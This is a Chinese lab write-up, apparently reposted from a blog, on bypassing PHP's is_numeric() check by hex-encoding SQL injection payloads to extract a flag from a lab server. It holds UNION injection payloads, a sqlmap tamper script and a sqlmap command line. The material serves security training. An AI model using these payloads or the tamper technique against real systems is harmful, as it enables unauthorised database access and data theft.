文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

SQL注入之绕过is_numeric过滤

2023-08-31 09:47

关注

目录

预备知识

PHP常用的过滤类函数

(1)当php.ini配置文件开启了magic_quotes_runtime和magic_quotes_gpc时,PHP中的get_magic_quotes_gpc()和get_magic_quotes_runtime()函数就会自动的对指定范围内的数据进行转义。其中,magic_quotes_gpc主要作用于web客户端,简单的说主要是对$_GET、$_POST、$_COOKE中的数据进行过滤;magic_quotes_runtime主要是对文件中读取的数据或从数据库查询得到的数据进行过滤。
(2)mysql_real_escape_string()、addslashes()可对数据中的单引号、双引号进行转义,能够有效地防止大多数SQL注入攻击;mysql_real_escape_string()考虑了字符集,比addslashes()具有更高的安全性。当前的字符集是单字节的话,这两个函数作用相同,都可以起到转义过滤的作用,但是,随着UTF-8等字符集得到越来越广泛的使用,它们也逐渐不能满足要求了。
(3)此外,还用于过滤的还有字符串操作常用函数preg_match、strlen、strcmp、strtolower、bl2br(将换行符转换为HTML终止标记)、htmlentities、htmlspecialchars(将特殊字符转换wieldHTML等价形式,且不解析格式)等,还有isset、is_numeric、empty等表单验证函数。

is_numeric()函数介绍

本实验中的is_numeric()函数用于检测变量是否为数字或数字字符串。
如果将二进制或十六进制数据传递至is_numeric()函数,则也会返回为true,即被is_numeric()函数检测是数字。现在,我们进行测试。编写is_numeric.php文件,并将以下代码输入后,保存。

再执行该程序,可得到结果:bool(true)。

vim is_numeric.phpphp !$(!$代表上一条命令的最后一个参数,即is_numeric.php)

在这里插入图片描述

实验目的

了解PHP常用的过滤函数。
2.掌握SQLMAP通过tarmper实现注入攻击的利用方法。

实验环境

在这里插入图片描述
学生实验主机:Kali Linux。
实验目标服务器:CentOS 6.5 64bit,IP:10.1.1.8。
网络环境:实验室局域网。
Web服务器:Apache/2.2.15 (Unix)。
脚本语言:PHP。
数据库:MySQL 5.1.71。
相关工具:SQLMap、python。

实验步骤一

通过源代码审计,发现临时文件

访问目标网站http://10.1.1.8,如下图所示:
在这里插入图片描述
通过查看源代码,在最后一行发现注释中包含“index.phps”文件,于是再访问该文件:
http://10.1.1.8/index.phps,可查看到index.php的源代码:
在这里插入图片描述

实验步骤二

通过分析源代码的执行逻辑,了解程序的功能,发现程序中的安全漏洞

从源代码中可以分析出,服务器从POST获得id标签的值,首先利用is_numeric()函数判断id是否为数字或数字字符串,如果不是,则提示“hacking attemp(发现黑客尝试攻击行为)”,如下图所示。
在这里插入图片描述
接着,将id、vote、login写入数据库;再从数据库中取出id。从上可看出,id是被is_numeric过滤后,插入到vote表里的,然后又从vote表里取出,可以用十六进制或者二进制绕过is_numeric,形成SQL注入。
绕过is_numeric()的方法:将SQL注入的payload转换为十六进制表示。
例如,payload为2’ and 1=1,则先选中该payload,利用Firefox中的hackbar工具,选择Encoding→HEX Encoding→String to 00ff00ff,即可完成十六进制转换,转换结果为322720616e6420313d31;接着,为了让PHP知道该字符串是十六进制数据,还需要在前面加上0x,最终变成0x322720616e6420313d31。
在这里插入图片描述
选中payload。
在这里插入图片描述
十六进制转换。
在这里插入图片描述
加上0x。

实验步骤三

绕过过滤函数实现SQL注入

在本实验中,flag存在于mysql数据库的某个表中。尝试绕过is_numeric的限制实现SQL注入攻击,获取flag。
SQL执行语句为:

SELECT id FROM vote WHERE user = '{$login}' GROUP BY id

为此,我们使用UNION注入,可以构造攻击载荷payload为:

-1 UNION ALL SELECT XXXX

利用Firefox的hackbar工具,可以将payload进行十六进制转码。如下图所示,我们将payload=“-1 union all select database()”进行转码(注意:在转码后,还须在十六进制字符串前加上0x)实现SQL注入,获取到了数据库的名称:task。
在这里插入图片描述
同理,我们可通过相同的方式,一步步查找所有表、获取表中的列名,最终获得flag。Payload为-1 union select flag from Flag。
在这里插入图片描述
既然知道了绕过限制的原理,我们可以自行编写tamper脚本,利用sqlmap实现自动SQL注入。
脚本如下:

#!/usr/bin/env pythonimport binasciifrom lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING__priority__ = PRIORITY.LOWESTdef dependencies():    passdef tamper(payload, **kwargs):    return ('0x' + binascii.hexlify(payload.encode(UNICODE_ENCODING))) if payload else payload

SQLMAP执行命令为:

sqlmap -u http://10.1.1.8/index.php --tamper  /usr/share/sqlmap/tamper/hexencode.py --data="id=1&vote=2&submit=Submit"  -p id

在这里插入图片描述
至此,已经获得flag,完成了我们本节课的实验。

来源地址:https://blog.csdn.net/ChuMeng1999/article/details/127588932

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯